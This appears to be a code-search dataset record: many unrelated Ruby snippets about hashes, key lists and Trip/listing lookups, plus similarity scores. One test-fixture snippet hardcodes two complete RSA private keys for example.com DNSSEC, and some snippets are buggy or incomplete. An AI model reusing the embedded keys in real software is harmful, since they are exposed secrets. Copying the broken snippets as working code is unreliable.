"def values\n @hash.values\n end",
"def array_of_values(name_hash)\n name_hash.collect do |key, value|\n value\n end\nend",
"def value_array(hash)\n array = []\n hash.each do |h|\n h.each do |key,value|\n if key == \"value\"\n array << value\n end\n end\n end\n return array\n end",
"def perform(key, value)\n result = []\n key.each_with_index do |k, v|\n result << {k => (value)[v]} #On push dans l'array une portion de hash composer de: key = symbol_text et value = price_text[v] \n end\n puts result\n return result\nend",
"def keys\n @key\n end",
"def crypto_master\n\tcrypto_symbols_array = scrapp_symbols \n\tcrypto_prices_array = scrapp_prices \n\ta = [] \n\n\tcrypto_symbols_array.each_with_index do |k, v|\n\t\ta << {k => (crypto_prices_array)[v]}\n\tend\n\tputs a\n\treturn a\nend",
"def hvals(key); end",
"def hvals(key); end",
"def array_of_keys(key)\n n = query(@connection, key)\n if n.nil?\n []\n else\n a = []\n n.each do |value|\n a.push(value.key.gsub(key, ''))\n end\n a\n end\n end",
"def values\n @hash.values\n end",
"def get_all\n @hash.each do |k,v|\n v.get_all do |e|\n yield [k].push(*e)\n end\n end\n end",
"def find_multiple_items(hash,bay_array)\n\n items=Array.new\n\n for key in bay_array\n items << hash[key][:item]\n end\n return items\n\nend",
"def keys\n return self.keySet.to_a\n end",
"def each_pair(&_block)\n path = path_to('/')\n\n case result = http_get(path, query:'recurse')\n when String\n result = json_parse(result)\n when 404\n return # no keys!\n end\n\n unless result.is_a?(Array)\n raise CMDB::Error.new(\"Consul 'GET #{path}': expected Array, got #{all.class.name}\")\n end\n\n result.each do |item|\n key = slash_to_dot(item['Key'])\n key.sub(@useless,'')\n next unless item['Value']\n value = json_parse(Base64.decode64(item['Value']))\n validate!(key, value)\n yield(key, value)\n end\n\n result.size\n end",
"def multiget(keys)\n data = @client.get_multi(keys)\n keys.map { |k| Marshal.load data[k] }\n end",
"def combine_hash(ss, ssi)\n result_hash = {}\n ss.each do |v1|\n temp_array = Array.new\n ssi.each do |v2|\n if v1.ss_id == v2.ss_id\n result_hash[\"#{v1.gsid}\"] = temp_array.push(v2)\n end\n end\n end\n result_hash\n end",
"def index\n @keyvalues = Keyvalue.all\n end",
"def keys\n ::M2X::Client::Key.list(@client, params.merge(device: self[\"id\"]))\n end",
"def keys\n doc = JSON.parse get('/api/v1/ssh_keys')\n doc[\"ssh_keys\"]\n end",
"def check_service_params(service_params)\n service_keys = []\n [{ name: :aws, key: 'AWS_SERVICE_KEY' }, { name: :mongo, key: 'MONGO_DB_USERNAME' }].each do |key_data|\n key_index = service_params.index(key_data[:key])\n next if key_index.nil?\n key_value = get_key_value_for_param(key_data[:key], service_params)\n throw 'no value for this key key' if key_value.nil?\n service_keys.push(key_name: key_data[:name], key_value: key_value)\n end\n service_keys\n end",
"def si_map\n @si_map.values\n end",
"def ssh_keys(env, ids_only = false)\n account = env[:sl_client][\"SoftLayer_Account\"]\n acc_keys = sl_warden { account.object_mask(\"mask[id,label]\").getSshKeys }\n key_ids = []\n Array(env[:machine].provider_config.ssh_key).each do |key|\n pattern = key.is_a?(String) ? \"label\" : \"id\"\n key_hash = acc_keys.find { |acc_key| acc_key[pattern] == key }\n raise Errors::SLSshKeyNotFound, :key => key unless key_hash\n key_ids << key_hash[\"id\"]\n end\n return (ids_only ? key_ids : key_ids.map { |key_id| { :id => key_id } })\n end",
"def get_key_value_params(params)\n key_value_hash=Hash.new\n\n params.each do |param|\n key_value_hash[param.name]=param.value\n# puts \"kv:\"+param.name+\"->\"+param.value\n end\n\n return key_value_hash\n end",
"def get_all_keys\n keys = Hash.new()\n @packages.each do |key, value|\n keys[key] = value.stringpool_keystrings.values\n end\n\n return keys\n end",
"def all\n # Accessing the store requires a transaction \n @store.transaction do\n # Create an array with the values for each key \n @store.roots.map { |id| @store[id] }\n end\n end",
"def values\n vals = []\n each{|k,v| vals << v}\n vals\n end",
"def getKeys(data_keys)\r\n data_keys[0].keys\r\n end",
"def list\n @keychain.keys\n end",
"def do_getdomainkeys(args)\n if args[\"name\"] == \"example.com\"\n @result = [ \n {\n \"id\" => 1,\n \"flags\" => 257,\n \"active\" => true,\n \"content\" => \"Private-key-format: v1.2\nAlgorithm: 8 (RSASHA256)\nModulus: ovvzf1fHdptdXsBrBLSqmGqdEKwR2B9st/KBgh8xQKoQzTGUG00CsPjF/J59IBU+EU/IIInMn0MxLLTyUKa2DJUkR6i7UKif5jKX1c7yvWzrFKLGOHjugUX2++r+o789biUte1qpWp3Kc2RYL18oPco4zpo6JcsPmhOK3aUCDJXmuWgHl1KudCQIiPkISArXVn4oOp+skQq+mUBl1Pysc4D+6sl77ERR2fW6xJ4ZRPOIKr445RJJmKgoMG8yRrR3it1RmV49hZlvMosQjBUoNcqhqOI0n4l8HOLyna7KIzoNKG62GtUCZh8uy8IjdUiWPYGEtkZ9zE0bnnF+R7HGvQ==\nPublicExponent: AQAB\nPrivateExponent: Lp/c3IUD7o4re7uX4dS9KLT3EZnn0OfMdiLNoafCszjzbX/NWrIBHxdLrCS6rr7k7pbgLU6+VqEmJB/vYdsPITJZGpbOXxieBYBbpzJ4hm/uIA0gn28Y66pUKWTkS3ud2zCPfkZFREL3c2M1Rvf1zxdWgOPl1oHsiKsmgpl9qJOSKHMWFC+m/pUMJ7iOMgyDRV+PNeb/8P1jVOAYyQMEnu+enw2ro2NiWXNikbnaWrIv3IxVZAyZG4/H8+1vfQFPDWztosOy7OhV3WyMJkfwcXrlGoyLlxyAgkh/jeCnmPllxlJZGTgCtoVYd/n8osMXCDKxpAhsfdfCPeNOcjocgQ==\nPrime1: +T+s7wv+zVqONJqkAKw4OCVzxBc5FWrmDPcjPCUeKIK/K/3+XjmIqTlbvBKf+7rm+AGVnXAbqk90+jzE3mKI8HMG/rM2cx01986xNQsIqwi2VAt25huPhEyrtNzos6lmrCYaioaQnNpMvMLun3DvcaygkDUXxH7Dg+6BTHeUfnk=\nPrime2: p2YbBveBK3XyGMuVrDH9CvvpgKEoko+mPwLoKNpBoHrGxeOdCQmlPbnr0GrtZpy4sBNc5+shz2c6c1J3GlgPndT7zi2+MFGfWIGV48SAknVLfOU4iUpaGllnxcbjZeytG6WHdy2RaR3ReeGvdWxmxeuv084c2zC/7/vkcmgOqWU=\nExponent1: EdVFeUEBdQ3imM7rpwSrbRD47HHA6tBgL1NLWRVKyBk6tloQ5gr1xS3Oa3FlsuwXdG0gmEgaIqBWvUS1zTd9lr6UJIsL/UZ8wwMt2J62ew4/hVngouwb45pcuq8HkzsulmiPg5PHKwHPdb34tr2s1BRG1KqHzc5IDNt2stLnc/k=\nExponent2: oT+Iv1BAu7WUa/AHj+RjJGZ+iaozo+H9uOq66Uc8OjKqMErNpLwG0Qu7rHqjjdlfSjSMpNXpLpj4Q8fm9JhpCpbzq6qCbpbhUGcbFFjfpLSZ74f5yr21R3ZhsLChsTenlF8Bu3pIfKH9e1M7KXgvE22xY+xB/Z3a9XeFmfLEVMU=\nCoefficient: vG8tLZBE4s3bftN5INv2/o3knEcaoUAPfakSsjM2uLwQCGiUbBOOlp3QSdTU4MiLjDsza3fKIptdwYP9PvSkhGhtLPjBpKjRk1J1+sct3dfT66JPClJc1A8bLQPj4ZpO/BkJe6ji4HYfOp7Rjn9z8rTqwEfbP64CZV3/frUzIkQ=\"\n },\n {\n \"id\" => 2,\n \"flags\" => 256,\n \"active\" => true,\n \"content\" => \"Private-key-format: v1.2\nAlgorithm: 8 (RSASHA256)\nModulus: wKPNcDwkCd2DKxfdkMqTFOV2ITdgxIDaOd4vQ2QtphMBY9yYwmEkNsVdVFz7VVuQHdls20JUe+brFUhs1zEMMbokulFP/qVAItAeEWcqtkPULT+mmX5HsexpFVAZ5+UXuerObk/HMiIMt1CvkIWhmjSIkAI6dFRlf/93zTjy0+vwrNWZPXSzLccK5TfJmxdYdGPcsHkg6UmqEFPQuyZpmlmpg3IwjL5YddTDobAoABz/BrH7WsW0q/PyVubITo8JuFiBI5Fmw+3ef3PVUt1jtUCGASvtqNXW4wtWrgqvQKg/odthpceQ4QagV9XSlOdml527thnf9cMpm0Gh4Ox5HQ==\nPublicExponent: AQAB\nPrivateExponent: f+M+26fRdQstrUomuZ0Cj/jVt69/+nRga9JpJiA3fe1YGue0MjczR3k3QG6KHFyxDF/vuJAMbkUbBAIU37ecFNcy0s5wgOlL7tCjZYJMBLx6+58qBvSivCfqi0+mIyEf4zlS2kD0SP/52SkjpJpScoE1uAUCsX/l8lezPPb1nmH3RDwJwX1NVhsErHCAmxGDoj4nPCEhKgHkdbR0i8geXGdWR4slyq1EhuGJal4p5sNvzDQTYRy6r49rpbNHw9F7ojomIhTUCUjOXAX0X1HB5UTXRMpgpCNEjRG1a+aqxp/ZSMHSEGCv67fua5Qrd/qX1Ppns/oqZfCfTpTD3v/sMQ==\nPrime1: +0zQuFi7rZDTMGMIKiF6UOG5+pKwGxHmgKPOGF6fk3tIuSomgiVD3DLz5Y6kYk0kKls6IiA6X2esYwNXAaLe0dyMzpAnU4URXhFW7fUnHP0zA7NmaFRYPHstPeU59/JS+zmVlj4Ok1oeGocSGAFYGxXa+Sot0fyCXpAjZboDWg8=\nPrime2: xD4hprQmcn5gmLqYO9+nEEJTNyNccbAciiKjRJxIE7w6muuKESx0uUn5XdnzSxhbVkK16kkEqW3s+Y+VoLxwRj2fuvoPfx8nTQXY1esgcIZCG8ubvHW5T0bzee5gyX3cMvaxkoeM7euYgvh0UwR/FG910SwAlmMZjSwXay2YlhM=\nExponent1: 6vcWzNcCnDWmkT53WtU0hb2Y4+YVzSm+iRcf039d20rRY3g6y0NGoPPvQftOTi9smkH0KAZULfJEp8tupbQAfN6ntVfpvVjVNUwnKJUo/hzsfxBVt0Ttv5c4ZQAYZHHqDsX3zKO3gyUmso0KaPGQzLpxpLlAYG+mAf7paeszyRc=\nExponent2: ouvWMjk0Bi/ncETRqDuYzkXSIl+oGvaT6xawp4B70m6d1QohWPqoeT/x2Dne44R4J9hAgR5X0XXinJnZJlXrfFUi7C84eFhb33UwPQD0sJa2Aa97Pu4Zh7im4J7IGd/01Ra7+6Ovm8LRnkI5CMcd3dBfZuX6IuBpUSu+0YtMN6M=\nCoefficient: 5lP9IFknvFgaXKCs8MproehHSFhFTWac4557HIn03KrnlGOKDcY6DC/vgu1e42bEZ4J0RU0EELp5u4tAEYcumIaIVhfzRsajYRGln2mHe6o6nTO+FbANKuhyVmBEvTVczPOcYLrFXKVTglKAs+8W96dYIMDhiAwxi9zijLKKQ1k=\"\n }\n ]\n end\n end",
"def get_multi(*keys)\n codes = @backend.get(keys)\n return [] if codes.empty?\n parser.decode_multi(codes.values)\n rescue ::Memcached::Error\n nil\n end",
"def get_all\n verify_connection_url\n\n output = {}\n list.each { |key| output[key.to_sym] = get key }\n output\n end",
"def claimed_keys\n [key]\n end",
"def first\n\t\titem = @h.first\n\t\tif item.nil?\n\t\t\treturn nil\n\t\tend\n\t\treturn [item.k, item.v]\n\tend",
"def keys\n getAttributeNames.to_a\n end",
"def keys\n getAttributeNames.to_a\n end",
"def keys\n getAttributeNames.to_a\n end",
"def get_key_list\n read(Common::KEY) || Hash.new\n end",
"def get(k)\n a = []\n each do |e|\n a << e.get(k)\n end\n a\n end",
"def list_students\n #code here \n # First redo hash to list last name first\n # and format into array to get only name and email values\n s = []\n @students.each do |stu|\n \tn = ''\n stu.each do |k,v| \n # *** instead of this process stu[:name] & stu[:email] ***\n #puts \"**key = #{k}, value = #{v}\"\n if (k == :name) #want every other value (only names not emails)\n \tn = v.split(' ')\n tmp = n[0]\n n[0] = n[1]\n n[1] = tmp\n n = n.join(\" \")\n else\n #puts \"pushing #{n}, #{v}\"\n \t#s.push({name: n, email: v})\n \ts.push(n + \", \" + v)\n\t end\n end\n end\n\n #@students.reverse.sort_by {|n| n[:name] } #this sorts by 1st name given the original hash array\n return s.sort\nend",
"def keys_and_values\n keys_values = []\n @item.reviews.each do |review|\n review.properties.each do |k,v|\n keys_values << k\n keys_values << + v.to_i\n end\n end\n keys_values.each_slice(2).to_a\n end",
"def key_usage\n if self.extensions.has_key?(\"keyUsage\") and self.extensions[\"keyUsage\"].count > 0 and self.extensions[\"keyUsage\"][0].has_key?(\"value\")\n self.extensions[\"keyUsage\"][0][\"value\"].split(\",\").map{|v| v.strip}\n else\n []\n end\n end",
"def keys\n JSON.parse get('/users/ssh_keys', :accept => 'json').to_s\n end",
"def keys\n @service_points.keys\n end",
"def select_keypair\n compute.key_pairs.map { |k| [k.name, k.name] }\n end",
"def entries\n ary = []\n self.each{|*val|\n # __svalue is an internal method\n ary.push val.__svalue\n }\n ary\n end",
"def values\n @values ||= keys.map do |key|\n request_context.params[\"ks_prev_#{key}\".to_sym]\n end\n end",
"def fetch_data(key_list)\n data = self\n key_list.each { |key| data = fetch_key_with_initialization(key, data) }\n data\n end",
"def value_extractor(arr, key)\n\n\n result = arr.map do |item| \n\n item.values[key] \n\n end\n\n result.compact\n\nend",
"def retrieve_values(hash1, hash2, key)\n str = []\n str << hash1[key]\n str << hash2[key]\n str\nend",
"def describe_key_pairs(list=[])\n @ec2.describe_key_pairs(list).collect! do |key|\n {:aws_key_name => key.keyName,\n :aws_fingerprint => key.keyFingerprint }\n end\n rescue Exception\n on_query_exception('describe_key_pairs')\n end",
"def index\n @keyvals = Keyval.all\n end",
"def values_at(*key_list)\n key_list.map { |key| self[key] }\n end",
"def key_ids\n @keys.keys\n end",
"def fetch_all(key); end",
"def find_multiple_key_values(array)\n return [self[array]] unless array.is_a? Array\n array.collect { |k| self[k] }\n end",
"def key_for_min_value(hash)\n name = []\n key_for_min_value.collect do |name|\n\n end\nend",
"def smembers(key); end",
"def smembers(key); end",
"def each\n\t\t\titer = @packet.params.key_set.iterator\n\t\t\twhile iter.has_next\n\t\t\t\tyield iter.next.to_s\n\t\t\tend\n\t\tend",
"def fetch_data(key)\n map { |om| om.fetch_data(key) }.flatten.compact\n end",
"def user_data_as_array(key)\n val = ec2_user_data(key)\n if !val || val.empty?\n val = []\n elsif !val.is_a?(Array)\n val = [val]\n end\n\n val\n end",
"def get_values(path)\n keys = nil\n Vault.with_retries(Vault::HTTPConnectionError, Vault::HTTPError) do |attempt, e|\n Tiller::log.warn(\"#{self} : Received exception #{e} from Vault\") if e\n keys = Vault.logical.list(path)\n end\n\n values = {}\n if keys.is_a? Array\n keys.each do |k|\n Tiller::log.debug(\"#{self} : Fetching value at #{path}/#{k}\")\n Vault.with_retries(Vault::HTTPConnectionError, Vault::HTTPError) do |attempt, e|\n Tiller::log.warn(\"#{self} : Received exception #{e} from Vault\") if e\n values[k] = Vault.logical.read(File.absolute_path(k,path)).data[@vault_config['json_key_name']]\n end\n end\n values\n else\n {}\n end\n end",
"def find_values(tag)\n results =[]\n dictionary.each do |key, values|\n next if values.nil?\n matched_keys = values.select { |k,v| v.to_s =~ /@#{tag}( |$)/i }.keys.each do |k|\n results << k\n end\n end\n results\n end",
"def list_sshkeys(client)\n sshkey_ids = []\n\n # List all keys\n client.ssh_keys.all.each_with_index{ |x, i|\n puts \"[\" + i.to_s + \"] [SSHKey] id: \" + x.id.to_s + \" , name: \" + x.name\n sshkey_ids << x.id\n }\n\n\treturn sshkey_ids\nend",
"def values(key)\n Array.wrap(self[key]).compact\n end",
"def get(key)\n response = request(:get, uri(key))\n if response.status == 200\n data = MultiJson.load(response.body)\n if data.is_a?(Array)\n data.each_with_object({}) do |e, acc|\n acc[e[S_KEY]] = e[S_VALUE]\n end\n else\n data[S_VALUE]\n end\n else\n nil\n end\n end",
"def get_all(key)\n build_if_necessary\n agent.set_query(key)\n [].tap do |results|\n while @trie.predictive_search(agent)\n results << agent_key_value(agent)\n end\n end\n end",
"def parse_hash hash\n hash_keys.map{ |k,v| hash[k] }\n end",
"def tag_value tags, key\n tags.to_ary.each do |i|\n return i[:value] if i[:key] == key\n end\n return nil\nend",
"def sshkeys\n sshkeys = object.sshkeys.select do |sshk|\n !current_user ||\n current_user.id == sshk.user.id ||\n current_user.lead?\n end\n sshkeys.map { |s| s.id }\n end",
"def movielist(user_id) \n moviearray = Array.new\n movie_list = @user_hash[user_id]\n movie_list.each do |hash| #pushes each movie (key[0]) into the array\n moviearray.push(hash.keys[0])\n end\n return moviearray\n end",
"def retrieve_values(hash1, hash2, key)\n return [hash1[key], hash2[key]]\nend",
"def retrieve_entitlements(id, entitlement_keys, scope = SilverSpoon.default_scope)\n Hash[*entitlement_keys.zip(SilverSpoon.redis.hmget(silver_spoon_key(id, SilverSpoon.namespace, scope), *entitlement_keys)).flatten!]\n end",
"def retrieve_values(hash1, hash2, key)\n array = []\n\n if hash1.has_key?(key) && hash2.has_key?(key)\n array << hash1[key] << hash2[key]\n end\n\n return array\nend",
"def values\n sub_result = []\n i = 0\n while i < @hash.length do\n if @hash[i] != nil && @hash[i].length > 0\n @hash[i].map { |k, v| sub_result.push(v) }\n end\n i += 1\n end\n return sub_result.uniq\n end",
"def fetch_values(*key_list, &block)\n if array_index?(key_list)\n key_list.map { |key| fetch(key, &block) }\n elsif block_given?\n __fetch_values__(*key_list) { |key| yield(key) }\n else\n __fetch_values__(*key_list)\n end\n end",
"def keys_from_hash\n if @keys.find_index(@option.value)\n return @keys.find_index(@option.value)\n else\n return @keys.first\n end\n end",
"def keys\n @params.keys\n end",
"def each\n @keydir.each do |key, index|\n entry = @keydir.data_files[index.file_id][index.value_pos, index.value_sz]\n yield [entry.key, entry.value]\n end\n end",
"def list_kvms\n info = Hash[\n *Dir.glob(File.join(KVM_HOME, 'storage', '*.qcow2')).map{|dir|\n key = File.basename(dir).sub('.qcow2', '')\n [key, {:address => kvm_ip(key), :type => kvm_type(key)}]\n }.sort{|a,b|\n a.first <=> b.first\n }.flatten\n ]\n info.each do |name, info|\n puts \"#{name}\"\n puts \" Type: #{info[:type]}\"\n puts \" Address: #{info[:address]}\"\n end\nend",
"def keys\n IbmCloudRest.get \"#{@uri}/keys\"\n end",
"def get_labels_for_keys(conn, cgguid, key_arr)\n req = mk_request(TRP::Message::Command::KEY_LOOKUP_REQUEST,\n :counter_group => cgguid, \n :keys => key_arr.uniq )\n\n h = key_arr.inject({}) { |m,i| m.store(i,make_readable(i)); m }\n get_response(conn,req) do |resp|\n resp.key_details.each { |d| h.store(d.key,d.label) }\n end\n return h\n end",
"def [] key\n return @hash[key.to_s]\n end",
"def get_keys_info_array(component_type)\n key_info_array(component_type)\n end",
"def each\n return @services.each_key unless block_given?\n\n @services.each_key { |key| yield key }\n end",
"def entry_values(include_all = true)\n keys = entry_keys(include_all)\n keys.convert_to_hash {|k| item_value(find_item(k)) }\n end",
"def sscan_each(key, **options, &block); end",
"def hvals(key)\n node_for(key).hvals(key)\n end",
"def keys\n list = []\n each_key{|key| list << key}\n list\n end",
"def my_array\n return @my_hash.values\n \n end",
"def keys\n DoesKeyValue::State.instance.keys[self.to_s]\n end"
] |
[
"0.6092329",
"0.601753",
"0.5759598",
"0.5717999",
"0.57031745",
"0.57018906",
"0.5629861",
"0.55918646",
"0.557987",
"0.557987",
"0.5524857",
"0.55208737",
"0.5508724",
"0.54679173",
"0.546249",
"0.543514",
"0.5419979",
"0.5419979",
"0.5411093",
"0.54002506",
"0.53869236",
"0.53813034",
"0.5379341",
"0.5377853",
"0.5377376",
"0.53577",
"0.53504515",
"0.5348119",
"0.53358114",
"0.53328836",
"0.53310144",
"0.5319022",
"0.5317291",
"0.53120494",
"0.53110695",
"0.5299103",
"0.5288481",
"0.5287674",
"0.5286967",
"0.528517",
"0.52821416",
"0.5274571",
"0.5274309",
"0.52701575",
"0.52701575",
"0.52701575",
"0.52693987",
"0.52687424",
"0.52514046",
"0.52490294",
"0.52351063",
"0.52145743",
"0.52136755",
"0.51844853",
"0.51817954",
"0.51786655",
"0.51773506",
"0.5171528",
"0.5169975",
"0.5167637",
"0.5167272",
"0.515885",
"0.51577675",
"0.51555353",
"0.51531756",
"0.5148381",
"0.51423055",
"0.51423055",
"0.514102",
"0.5138463",
"0.51369506",
"0.5136131",
"0.51337296",
"0.5129791",
"0.51264983",
"0.5118211",
"0.511291",
"0.5101664",
"0.50944006",
"0.5088334",
"0.5085115",
"0.5079843",
"0.5078789",
"0.50702363",
"0.5063151",
"0.50599164",
"0.50547886",
"0.505353",
"0.50513816",
"0.5044146",
"0.5041975",
"0.503073",
"0.5029764",
"0.5028067",
"0.5024209",
"0.50192964",
"0.5008794",
"0.5007609",
"0.5003596",
"0.49972662",
"0.4989691"
] |
0.0
|
-1
|
this method will return only trip instances that it has had. should return all linsting instances == self. worked first try
|
def trips
Trip.all.select do |trip|
trip.listing == self
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def trips\n Trip.all.select do |trip|\n trip.listing == self\n end\n\n end",
"def trips\n Trip.all.select {|trip| trip.listing == self}\n end",
"def trips\n Trip.all.select {|t| t.listing == self}\n end",
"def trips\n Trip.all.select { |trip| trip.listing==self}\n end",
"def trips \n trips_taken = Trip.all.select do |trip|\n trip.listing == self\n end\n end",
"def trips\n Trip.all.filter {|trip| trip.listing == self}\n\n end",
"def trips()\n Trip.all().select() { | trip | trip.listing == self }\n end",
"def trips\n arr = []\n Trips.all.each do |trip|\n if trip.listing == self\n arr << trip\n end\n end\n arr\n end",
"def trips\n Trip.all.select do |trip|\n trip.listing == self\n end\n end",
"def trips\n @trips = Trip.all.select do |trip|\n trip.listing == self\n end\n end",
"def trips\n Trip.all.filter do |trip|\n trip.listing == self\n end\n end",
"def trips\n Trip.all.select{ |trip| trip.guest == self}\n end",
"def trips\n @trips = Trip.all.select do |trip|\n trip.guest == self\n end\n end",
"def trips \n Trip.all.select do |ti|\n ti.guest == self\n end\n end",
"def trips\n Trip.all.select do |trip|\n if trip.guest == self\n trip\n end\n end\n end",
"def trips #<====== QUESTIONS: RETURNS NIL?\n Trip.all.select do |listings|\n if listings.listing == self\n listings\n end\n end\n end",
"def trips\n arr = []\n Trips.all.each do |trip|\n if trip.guest == self\n arr << trip\n end\n end\n arr\nend",
"def listings\n self.trips.map {|trip| trip.listing}.uniq\n end",
"def guests\n same_lists = Trip.all.select do |trip|\n trip.listing == self \n end\n same_lists.map { |trip| trip.guest}\n end",
"def listings\n arr = []\n Trips.all.each do |trip|\n if trip.guest == self\n arr << trip.listing\n end\n end\n arr\n end",
"def listings \n Trip.all.select {|trip| trip.guest == self}.map { |trip| trip.listing}\n\n end",
"def rider_trip_instances\n rider_trips = RideShare::Trip.all_rider_trip_instances(@rider_id)\n return rider_trips\n end",
"def listings\n Trip.all.map do |trip|\n if trip.guest == self\n return trip.listing\n end\n end\n end",
"def trips\n Trip.where(:route_id => self.route_id)\n end",
"def trips\n Trip.where(:route_id => self.route_id)\n end",
"def listings\n Trip.all.select do |listing|\n listing.guest == self\n end\n end",
"def guest\n arr = []\n Trips.all.each do |trip|\n if trip.listing == self\n arr << trip.guest\n end\n end\n arr\n end",
"def guests\n Trip.all.select do |guest|\n guest.listing == self\n end\n end",
"def all_trips\n return Rideshare::Trip.find_trip_by_rider(@id)\n end",
"def listings\n self.trips.map{|trip| trip.listing}\n end",
"def guests\n self.trips.map do |trip|\n trip.guest\n end\n end",
"def guests()\n self.trips().map() { | trip | trip.guest }.uniq\n end",
"def trips\n RideShare::Trip.find_all_for_rider(@id)\n end",
"def trips\n Trip.find_for_driver(@driver_id)\n end",
"def trips\n #will find upcoming trips/reservations for guests\n Reservation.where(guest_id: self.id)\n end",
"def listings\n self.trips.map do |ti|\n ti.listing \n end\n end",
"def listings\n @listings = trips.select do |trip|\n trip.listings\n end\n end",
"def guests\n trips.map {|trip| trip.guest}.uniq\n end",
"def listings\n trips.map {|trip| trip.listing}\nend",
"def previous_driver_trips\n driver_list = []\n rider_trips = RideShare::Trip.all_rider_trip_instances(@rider_id)#does this mean i need to make a self method of rider trip instances?\n rider_trips.each do |object|\n driver_list << object.driver_object\n end\n return driver_list\n end",
"def trips_by_weekday()\n TripCollection.new( @trips.select {|k, t| t.start_time.wday.between?(1,5) } )\n end",
"def guests\n @guests = trips.select do |trip|\n trip.guest\n end\n end",
"def find_possible_trips(starting_route, starting_time, max_stops, stops_visited=[])\n self.class.possible_trips.clear\n traverse_stops(starting_route, starting_time, max_stops, stops_visited=[])\n self.class.possible_trips.dup #.uniq\n end",
"def trips\n trips = RideShare::Trip.trips_by_rider(@id)\n if trips != nil\n return trips\n else\n return []\n end\n end",
"def personal_trips\n @personal_trips = trips.where(driver_id: 0)\n end",
"def matches(trip)\n if trip.to_work\n origin_dist = 8000\n destination_dist = 1000\n else\n origin_dist = 1000\n destination_dist = 8000\n end\n @matches = Trip.joins(:users).\n where(pools: { is_active: true}).\n where.not(users: { id: id}).\n where(\"users.driving_pref = 0 OR driving_pref != ?\", driving_pref).\n where(trips: {to_work: trip.to_work}).\n where(\"ST_NumGeometries(trips.waypoints) = 2\").\n where(\"ST_DWithin( ST_geometryN(trips.waypoints, 1)::geography , ?::geography, ? )\", trip.waypoints[0], origin_dist).\n where(\"ST_DWithin( ST_geometryN(trips.waypoints, 2)::geography , ?::geography, ? )\", trip.waypoints[1], destination_dist).\n limit(20)\n\n # This gets up to 20 trips where (in order):\n # - the match user is actively taking this trip\n # - the match user isn't the current user\n # - the match user is neutral driving_pref or opposite of current user\n # - the match trip has same \"to_work\" value as current trip\n # - the match trip is currently an individual trip (technically not checking this, just checking that trip only has 2 waypoints)\n # - the match trip's origin is within [origin_dist] of the current trip's origin (note the difference in indexing!)\n # - the match trip's destination is [destination_dist] 1km of the current trip's destination\n \n # ATM TIMES NEVER CONSIDERED ANYWHERE\n # SHOULD FILTER IN DB BASED ON TIME/LOCATIONS (POSSIBLY ORDER AND LIMIT), THEN ALSO COMPUTE COMPAT AND ORDER RESULTS SOMEHOW\n # SHOULD HAVE SOME WAY OF RELAXING IF NOT ENOUGH RESULTS / BEING MORE PICKY IF TOO MANY.\n # ALSO SHOULD PRIORITIZE EXISTING MATCHES SOMEWHERE SOMEHOW\n \n @matches = @matches.sort_by{|t| -compatibility(t.users.first)} #right now sorting by compatability with first user\n return @matches\n end",
"def similar_trips\n Trip.where(destination_city: destination_city).where.not(id: id)\n end",
"def guests \n Trip.all.map do |listings|\n if listings.listing == self\n listings.guest.name\n end\n end\n end",
"def all_flights\n self.flights.in_order_of_creation \n end",
"def my_rides\n Ride.all.select do |ride|\n ride.passenger == self\n end\n end",
"def funding_rounds\n # helper func that returns all the funding round instances that the startup has gotten\n\n FundingRound.all.select { |funding_round| funding_round.startup == self }\n end",
"def other_instances\n\t\tinstances.reject { |i| i == self }\n\tend",
"def exercise_instances\n Workout.all.select{|workout_instance| workout_instance.gym_id == self.id}\n end",
"def guests\n trips.collect {|g| g.guest}\n end",
"def funding_rounds\n FundingRound.all.select do |funding_round|\n funding_round.startup == self\n end \nend",
"def trips \n Trips.all.each do |trip|\n trip \n end \n\n #return to airbnb\n \n\n\n \nend",
"def flights \n ticket_instances = self.tickets # Returns all the ticket instances associated with this passenger\n\n ticket_instances.map do |ticket_instance| # Using map to transform it into an array of \n # flight instances associated with this passenger.\n ticket_instance.flight\n end \n end",
"def rides\n Ride.all.select { |ride| ride.passenger == self }\n end",
"def my_rounds\n my_rounds = FundingRound.all.select{|rounds| rounds.startup == self}\n end",
"def rides_as_passenger\n ride_ids = self.relationships.select(:ride_id).where(is_driving: false).joins(:ride).where(\"rides.user_id <> ?\", self.id)\n if ride_ids.count > 0\n Ride.where(\"id in (?)\", ride_ids)\n else\n []\n end\n end",
"def showings\n Showing.all.select do |showing|\n showing.theater == self\n end\n end",
"def my_reviews\n Review.all.select do |review_instance|\n review_instance.traveller == self\n end\n end",
"def tribes\n Tribe.all\n end",
"def getCurrentTrips(all_trip_ids)\n current_trips = []\n # current_stops = []\n\n # GTFS::Realtime.refresh_realtime_feed!\n vehicle_data = JSON.load(open(VEHICLE_POSITIONS))\n if vehicle_data == nil\n puts \"can't open vehicle positions\"\n else\n @entities_array = vehicle_data[\"entity\"]\n puts \"data objects: #{@entities_array[0, 3]}\"\n end\n\n for trip_id in all_trip_ids\n for entity in @entities_array\n if entity[\"vehicle\"][\"trip\"][\"trip_id\"].to_i == trip_id\n trip_hash = {entity[\"vehicle\"][\"trip\"][\"trip_id\"]=> entity[\"vehicle\"][\"stop_id\"].to_i}\n current_trips << trip_hash\n puts \"current trips are #{current_trips}\"\n end\n end\n end\n\n return getArrayIndexes(current_trips)\n end",
"def accepted_trips\n trip_ids = self.user_trips.where(state: \"accepted\").map(&:trip_id)\n Trip.where(id: trip_ids)\n end",
"def rides\n Ride.all.select {|ride| ride.passenger == self}\n end",
"def allrides\n Ride.all.select do |ride|\n ride.driver == self\n end\n end",
"def new\n @trip = Trip.new\n # @users = @users_filter_uniq\n end",
"def allergens\n allergy_instances = Allergy.all.select do |allergy|\n self.ingredients.include?(allergy.ingredient)\n end \n end",
"def rides()\n Ride.all().select() { | ride | ride.passenger == self }\n end",
"def funding_rounds\n FundingRound.all.select { |round| round.startup == self }\n end",
"def funding_rounds \n FundingRound.all.select{|f_round| f_round.startup == self}\n end",
"def clients\n Client.all.select {|client| client.trainer == self}\n end",
"def instances\n\t\tAlgorithm.each_ancestor_singleton(self) do |a|\n\t\t\tif a.respond_to?(:instances) && a.instances\n\t\t\t\treturn a.instances.dup\n\t\t\tend\n\t\tend\n\n\t\traise \"No method 'instances' found in any ancestor for '#{self}' (class: #{self.class})\"\n\tend",
"def locations\n Location.all.select do |location|\n location.restaurant == self\n end\n end",
"def index\n @class_trips = ClassTrip.all\n end",
